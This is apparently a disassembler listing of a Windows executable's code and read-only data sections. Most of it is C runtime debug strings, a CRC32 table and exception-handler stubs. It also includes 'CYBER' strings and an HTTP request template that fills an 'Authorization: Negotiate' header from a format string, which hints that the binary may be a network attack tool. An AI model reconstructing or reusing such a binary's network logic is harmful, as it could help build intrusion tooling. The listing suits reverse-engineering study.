DATA XREF: .rdata:0043E4BCo mov ecx, [ebp-10h] call ??1exception@@UAE@XZ ; exception::~exception(void) retn sub_43BAE0 endp ; =============== S U B R O U T I N E ======================================= SEH_43A720 proc near ; DATA XREF: sub_43A720+5o mov eax, offset dword_43E498 jmp ___CxxFrameHandler3 SEH_43A720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43BB00 proc near ; DATA XREF: .rdata:0043E504o mov ecx, [ebp-10h] call ??1exception@@UAE@XZ ; exception::~exception(void) retn sub_43BB00 endp ; =============== S U B R O U T I N E ======================================= SEH_43A7E0 proc near ; DATA XREF: sub_43A7E0+5o mov eax, offset dword_43E4E0 jmp ___CxxFrameHandler3 SEH_43A7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43BB20 proc near ; DATA XREF: .rdata:0043E52Co mov ecx, [ebp-14h] call ??1exception@@UAE@XZ ; exception::~exception(void) retn sub_43BB20 endp ; =============== S U B R O U T I N E ======================================= SEH_43A8A0 proc near ; DATA XREF: sub_43A8A0+5o mov eax, offset dword_43E508 jmp ___CxxFrameHandler3 SEH_43A8A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43BB40 proc near ; DATA XREF: .rdata:0043E594o lea ecx, [ebp-38h] call sub_40DD38 retn sub_43BB40 endp ; =============== S U B R O U T I N E ======================================= SEH_43A9C0 proc near ; DATA XREF: sub_43A9C0+5o mov eax, offset dword_43E570 jmp ___CxxFrameHandler3 SEH_43A9C0 endp _text ends ; Section 2. (virtual address 0003C000) ; Virtual size : 00002598 ( 9624.) ; Section size in file : 00002598 ( 9624.) ; Offset to raw data for section: 0003C000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 43C000h dd 0 dd 4683E0FEh, 0 dd 2, 61h, 0 dd 59C00h dword_43C01C dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401CC7+3476o ; sub_401CC7+3566o ... align 4 aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401CC7+3896o ; sub_401CC7+38CCo ... align 4 ; char aGetHttp1_0Host[] aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DA4E+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dbl_43C468 dq 1.388888888888889e-2 ; DATA XREF: sub_40D88B+2Fr dbl_43C470 dq 1.666666666666667e-1 ; DATA XREF: sub_40D88B+15r dbl_43C478 dq 1.333333333333333 ; DATA XREF: sub_40D8D7+70r dword_43C480 dd 0FFFFFFFFh ; DATA XREF: sub_40DCEB+13r ; sub_40DD68r ... dword_43C484 dd 0 ; DATA XREF: sub_40E04Fo flt_43C488 dd 5.0e-1 ; DATA XREF: sub_40E3C7+39Br align 10h dbl_43C490 dq 9.765625e-4 ; DATA XREF: sub_416F62+2BDr ; sub_416F62+2D8r ... dbl_43C498 dq -1.52587890625e-4 ; DATA XREF: sub_418650+3E5r dbl_43C4A0 dq 3.0517578125e-4 ; DATA XREF: sub_418650+3C5r dbl_43C4A8 dq -3.0517578125e-4 ; DATA XREF: sub_418650+342r ; sub_418650+3A7r dbl_43C4B0 dq 1.52587890625e-4 ; DATA XREF: sub_418650+271r dbl_43C4B8 dq -1.739501953125e-3 ; DATA XREF: sub_418650+24Br ; sub_418650+2D5r ... dbl_43C4C0 dq 3.11279296875e-3 ; DATA XREF: sub_418650+E1r dbl_43C4C8 dq 3.0517578125e-5 ; DATA XREF: sub_418650+AEr ; sub_418650+138r ... dbl_43C4D0 dq 6.103515625e-5 ; DATA XREF: sub_418650+93r ; sub_418650+308r dbl_43C4D8 dq 2.288818359375e-3 ; DATA XREF: sub_418650+21r dbl_43C4E0 dq -3.0517578125e-5 ; DATA XREF: sub_419551+2Br flt_43C4E8 dd 9.765625e-4 ; DATA XREF: sub_41B3B5+1B0r flt_43C4EC dd 8.0 ; DATA XREF: sub_41B3B5+1AAr flt_43C4F0 dd 0.0 ; DATA XREF: sub_41B3B5+171r flt_43C4F4 dd 1.0e-3 ; DATA XREF: sub_41B3B5+168r aFclose_c db 'fclose.c',0 ; DATA XREF: _fclose+1Do ; __fclose_lk+25o align 4 ; char aStreamNull[] aStreamNull db 'stream != NULL',0 ; DATA XREF: _fclose+14o _fseek+Do ... align 4 ; char aStrNull[] aStrNull db 'str != NULL',0 ; DATA XREF: __fclose_lk+1Co ; sub_41F210+45o ... aClient db 'Client',0 ; DATA XREF: .data:00451910o align 4 aIgnore db 'Ignore',0 ; DATA XREF: .data:0045190Co align 10h aCrt db 'CRT',0 ; DATA XREF: .data:00451908o aNormal_0 db 'Normal',0 ; DATA XREF: .data:00451904o align 4 aFree db 'Free',0 ; DATA XREF: .data:off_451900o align 8 dword_43C548 dd 0FFFFFFFFh, 0 ; DATA XREF: __nh_malloc_dbg+5o dd offset sub_41C17D aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: __heap_alloc_dbg:loc_41C34Ao ; _realloc_help:loc_41C7D0o align 4 ; char aInvalidAllocat[] aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: __heap_alloc_dbg+11Bo ; char aS_32[] aS_32 db '%s',0 ; DATA XREF: __heap_alloc_dbg+BCo ; __heap_alloc_dbg+16Fo ... align 10h aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: __heap_alloc_dbg:loc_41C297o align 4 ; char aClientHookAllo[] aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: __heap_alloc_dbg+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: __heap_alloc_dbg+31o ; _realloc_help+77o ... align 4 ; char a_crtcheckmemor[] a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: __heap_alloc_dbg+25o ; _realloc_help+6Bo ... align 10h dword_43C630 dd 0FFFFFFFFh, 0 ; DATA XREF: __realloc_dbg+5o dd offset sub_41C623 ; char a_pfirstblockPo[] a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: _realloc_help+499o align 4 ; char a_plastblockPol[] a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: _realloc_help+445o align 4 ; char aFreallocFreall[] aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: _realloc_help:loc_41CA36o align 4 ; char a_block_typePol[] a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: _realloc_help+277o align 4 ; char aPoldblockNline[] aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: _realloc_help:loc_41C861o db 'REQ',0 align 4 ; char a_crtisvalidhea[] a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: _realloc_help+1B6o ; sub_41CCE0+A8o ... align 10h ; char aAllocationTooL[] aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: _realloc_help+136o align 10h aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: _realloc_help:loc_41C74Fo ; char aClientHookReAl[] aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: _realloc_help+DCo align 10h dword_43C7E0 dd 0FFFFFFFFh, 0 ; DATA XREF: __expand_dbg+5o dd offset sub_41CC03 align 10h dword_43C7F0 dd 0FFFFFFFFh, 0 ; DATA XREF: __free_dbg+5o dd offset sub_41CCC2 ; char a_pfirstblockPh[] a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41CCE0+35Do align 4 ; char a_plastblockPhe[] a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41CCE0+307o align 4 ; char aPheadNblockuse[] aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41CCE0+29Co ; sub_41D0F0+133o align 4 ; char aPheadNlineIgno[] aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_41CCE0:loc_41CF04o align 4 ; char aDamageAfterHsB[] aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41CCE0+1E5o ; sub_41D430+265o align 4 ; char aDamageBeforeHs[] aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41CCE0+17Fo ; sub_41D430+208o align 4 ; char a_block_type_is[] a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41CCE0+10Ao ; sub_41D0F0+E2o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41CCE0:loc_41CD4Do align 4 dword_43C928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D0F0+5o dd offset sub_41D261 align 8 dword_43C938 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtSetDbgBlockType+5o dd offset sub_41D35D ; char aMemoryCheckErr[] aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: _CheckBytes+54o align 10h ; char aHsLocatedAt0x0[] aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_41D430+33Ao align 4 ; char aHsAllocatedAtF[] aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41D430+307o ; char aDamageOnTopOfF[] aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D430+2BEo align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41D430:loc_41D604o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_41D430:loc_41D55Co align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_41D430:loc_41D534o align 10h a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_41D430:loc_41D50Co align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_41D430:loc_41D4E4o align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_41D430:loc_41D4B9o align 10h dword_43CAC0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D430+5o dd offset sub_41D7A5 align 10h dword_43CAD0 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtDoForAllClientObjects+5o dd offset sub_41D89D align 10h dword_43CAE0 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtIsMemoryBlock+5o dd offset sub_41DB46 ; char aBadMemoryBlock[] aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41DB90+13Co align 10h a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_41DB90:loc_41DBB9o dword_43CB38 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DB90+5o dd offset sub_41DD18 a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: __CrtMemDifference:loc_41DD62o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41E12Co align 4 ; char aCrtBlockAt0x08[] aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince+271o align 4 ; char aNormalBlockAt0[] aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince+214o ; char aClientBlockAt0[] aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince+1A9o ; char aLd[] aLd db '{%ld} ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+15Ao align 4 ; char aHsD[] aHsD db '%hs(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+132o align 4 ; char aFileErrorD[] aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+101o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41DEABo dword_43CC50 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtMemDumpAllObjectsSince+5o dd offset sub_41E121 ; char aDataSS[] aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: __printMemBlockData+ECo ; char a_2x[] a_2x db '%.2X ',0 ; DATA XREF: __printMemBlockData+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: __CrtDumpMemoryLeaks:loc_41E2C4o ; char aTotalAllocatio[] aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: __CrtMemDumpStatistics+9Do align 4 ; char aLargestNumberU[] aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: __CrtMemDumpStatistics+75o align 10h ; char aLdBytesInLdHsB[] aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: __CrtMemDumpStatistics+4Bo align 10h ; char aMode_t0[] aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+95o align 4 ; char aModeNull[] aModeNull db 'mode != NULL',0 ; DATA XREF: __fsopen+67o ; __openfile+4Fo align 4 ; char aFile_t0[] aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+3Do align 4 aFopen_c db 'fopen.c',0 ; DATA XREF: __fsopen+18o __fsopen+46o ... ; char aFileNull[] aFileNull db 'file != NULL',0 ; DATA XREF: __fsopen+Fo align 10h ; char aFormatNull[] aFormatNull db 'format != NULL',0 ; DATA XREF: _sprintf+45o ; __snprintf+45o ... align 10h aSprintf_c db 'sprintf.c',0 ; DATA XREF: _sprintf+24o _sprintf+4Eo ... align 4 ; char aStringNull[] aStringNull db 'string != NULL',0 ; DATA XREF: _sprintf+1Bo ; __snprintf+1Bo ... align 4 aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41F210+24o ; sub_41F210+4Eo aFprintf_c db 'fprintf.c',0 ; DATA XREF: _fprintf+1Eo _fprintf+48o align 10h aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: __vsnprintf+1Eo ; __vsnprintf+48o align 4 aSscanf_c db 'sscanf.c',0 ; DATA XREF: _sscanf+24o _sscanf+4Eo align 4 dbl_43CD98 dq 1.0 ; DATA XREF: _floor+99r _ceil+99r ... aDbgdel_cpp db 'dbgdel.cpp',0 ; DATA XREF: operator delete(void *)+62o align 4 aOnexit_c db 'onexit.c',0 ; DATA XREF: __onexit+2Eo ; ___onexitinit+8o align 4 aFseek_c db 'fseek.c',0 ; DATA XREF: _fseek+16o __fseek_lk+19o aStrupr_c db 'strupr.c',0 ; DATA XREF: __strupr+133o align 4 aMbstowcs_c db 'mbstowcs.c',0 ; DATA XREF: __mbstowcs_lk+32o align 4 ; char aSNull[] aSNull db 's != NULL',0 ; DATA XREF: __mbstowcs_lk+29o align 8 dword_43CDE8 dd 0FFFFFFFFh ; DATA XREF: start+5o dd offset sub_422492 dd offset sub_4224AD a_file_c db '_file.c',0 ; DATA XREF: ___initstdio+31o ; ___initstdio+65o aAssertionFai_1 db 'Assertion Failed',0 ; DATA XREF: .data:00451BFCo align 10h aError db 'Error',0 ; DATA XREF: .data:00451BF8o align 4 aWarning db 'Warning',0 ; DATA XREF: .data:off_451BF4o ; char aSDS_0[] aSDS_0 db '%s(%d) : %s',0 ; DATA XREF: __CrtDbgReport+1FFo ; char asc_43CE2C[] asc_43CE2C: ; DATA XREF: __CrtDbgReport:loc_422A46o dw 0Ah unicode 0, <>,0 ; char asc_43CE30[] asc_43CE30: ; DATA XREF: __CrtDbgReport+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: __CrtDbgReport:loc_4229E5o align 4 aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: __CrtDbgReport+169o align 4 ; char a_crtdbgreportS[] a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: __CrtDbgReport+149o ; __CrtDbgReport+21Co ... align 4 aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: __CrtDbgReport+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: __CrtDbgReport+B6o align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: __CrtDbgReport+9Co ; ___crtMessageBoxA+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: _CrtMessageWindow+2C2o align 4 ; char aDebugSProgramS[] aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: _CrtMessageWindow+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: _CrtMessageWindow+221o db 'Module: ',0 align 4 aFile_1 db 0Ah ; DATA XREF: _CrtMessageWindow+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: _CrtMessageWindow+1AAo db 'Line: ',0 ; char asc_43CF68[] asc_43CF68 db 0Ah ; DATA XREF: _CrtMessageWindow+173o ; __NMSG_WRITE+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: _CrtMessageWindow+153o align 4 dword_43CF7C dd 0 ; DATA XREF: _CrtMessageWindow:loc_422D1Ao ; _CrtMessageWindow:loc_422D39o ... aForInformation db 0Ah ; DATA XREF: _CrtMessageWindow+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: _CrtMessageWindow+9Co ; _CrtMessageWindow+F4o ... ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: _CrtMessageWindow+56o ; __NMSG_WRITE+EDo align 10h aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: _CrtMessageWindow+1Fo align 4 ; char aSzusermessageN[] aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: _CrtMessageWindow+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: __freebuf+15o align 10h aMlock_c db 'mlock.c',0 ; DATA XREF: __lock+16o dword_43D048 dd 0FFFFFFFFh, 0 ; DATA XREF: __heap_alloc_base+5o dd offset sub_423785 dd 0FFFFFFFFh, 0 dd offset sub_423807 dword_43D060 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423880+5o dd offset sub_423921 dd 0FFFFFFFFh, 0 dd offset sub_423A1A dword_43D078 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423A90+5o dd offset sub_423C58 dd 0FFFFFFFFh, 0 dd offset sub_423E6F dword_43D090 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423F30+5o dd offset sub_423FAB dd 0FFFFFFFFh, 0 dd offset sub_42402D dword_43D0A8 dd 0FFFFFFFFh, 0 ; DATA XREF: unknown_libname_6+5o dd offset sub_4240E2 dd 0FFFFFFFFh, 0 dd offset sub_424127 ; char Str1[] Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_426EF0+B9o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_426EF0+5Ao align 10h a_filbuf_c db '_filbuf.c',0 ; DATA XREF: __filbuf+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: __openfile+2Eo ; __openfile+58o ... ; char aFilenameNull[] aFilenameNull db 'filename != NULL',0 ; DATA XREF: __openfile+25o align 4 aStream_c db 'stream.c',0 ; DATA XREF: __getstream+C1o align 4 ; char aInconsistentIo[] aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: __flsbuf+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: __flsbuf+18o ; __flsbuf+16Eo align 10h byte_43D170 db 6 ; DATA XREF: unknown_libname_7+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_453F10o unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_453F0Co align 4 aOutput_c db 'output.c',0 ; DATA XREF: unknown_libname_7+122o align 10h ; char aCh_t0[] aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: unknown_libname_7+116o align 10h aTidtable_c db 'tidtable.c',0 ; DATA XREF: __mtinit+23o __getptd+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: __stbuf+18o __stbuf+B2o ... align 4 ; char aFlag0Flag1[] aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: __ftbuf+13o align 10h aInput_c db 'input.c',0 ; DATA XREF: unknown_libname_11+1Eo ; unknown_libname_11+4Bo a_yn db '_yn',0 ; DATA XREF: .data:0045425Co a_y1 db '_y1',0 ; DATA XREF: .data:00454254o a_y0 db '_y0',0 ; DATA XREF: .data:0045424Co aFrexp db 'frexp',0 ; DATA XREF: .data:00454244o align 4 aFmod db 'fmod',0 ; DATA XREF: .data:0045423Co align 4 a_hypot db '_hypot',0 ; DATA XREF: .data:00454234o align 4 a_cabs db '_cabs',0 ; DATA XREF: .data:0045422Co align 4 aLdexp db 'ldexp',0 ; DATA XREF: .data:00454224o align 4 aModf db 'modf',0 ; DATA XREF: .data:0045421Co align 4 aFabs db 'fabs',0 ; DATA XREF: .data:00454214o align 4 aFloor db 'floor',0 ; DATA XREF: .data:0045420Co align 4 aCeil db 'ceil',0 ; DATA XREF: .data:00454204o align 4 aTan db 'tan',0 ; DATA XREF: .data:004541FCo aCos db 'cos',0 ; DATA XREF: .data:004541F4o aSin db 'sin',0 ; DATA XREF: .data:004541ECo aSqrt db 'sqrt',0 ; DATA XREF: .data:004541E4o align 10h aAtan2 db 'atan2',0 ; DATA XREF: .data:004541DCo align 4 aAtan db 'atan',0 ; DATA XREF: .data:004541D4o align 10h aAcos db 'acos',0 ; DATA XREF: .data:004541CCo align 4 aAsin db 'asin',0 ; DATA XREF: .data:004541C4o align 10h aTanh db 'tanh',0 ; DATA XREF: .data:004541BCo align 4 aCosh db 'cosh',0 ; DATA XREF: .data:004541B4o align 10h aSinh db 'sinh',0 ; DATA XREF: .data:004541ACo align 4 aLog10 db 'log10',0 ; DATA XREF: .data:004541A4o align 10h aLog_0 db 'log',0 ; DATA XREF: .data:0045419Co aPow db 'pow',0 ; DATA XREF: .data:00454194o aExp db 'exp',0 ; DATA XREF: .data:off_45418Co align 10h dbl_43D2F0 dq 0.0 ; DATA XREF: __handle_exc+D7r ; __handle_exc+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdiv+6o align 10h ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe2:loc_42C9E8o align 4 dword_43D328 dd 0FFFFFFFFh ; DATA XREF: ___FrameUnwindToState+5o dd offset loc_42D419 dd offset loc_42D426 align 8 dword_43D338 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o dd offset sub_42D64D align 8 dd offset loc_42D60E dd offset loc_42D61B dword_43D350 dd 0FFFFFFFFh ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o dd offset loc_42D96C dd offset loc_42D972 align 10h dword_43D360 dd 0FFFFFFFFh ; DATA XREF: _DestructExceptionObject(EHExceptionRecord *,uchar)+5o dd offset loc_42D9EE dd offset loc_42D9FD align 10h dword_43D370 dd 0FFFFFFFFh, 0 ; DATA XREF: terminate(void)+5o dd offset j__abort align 10h dd offset 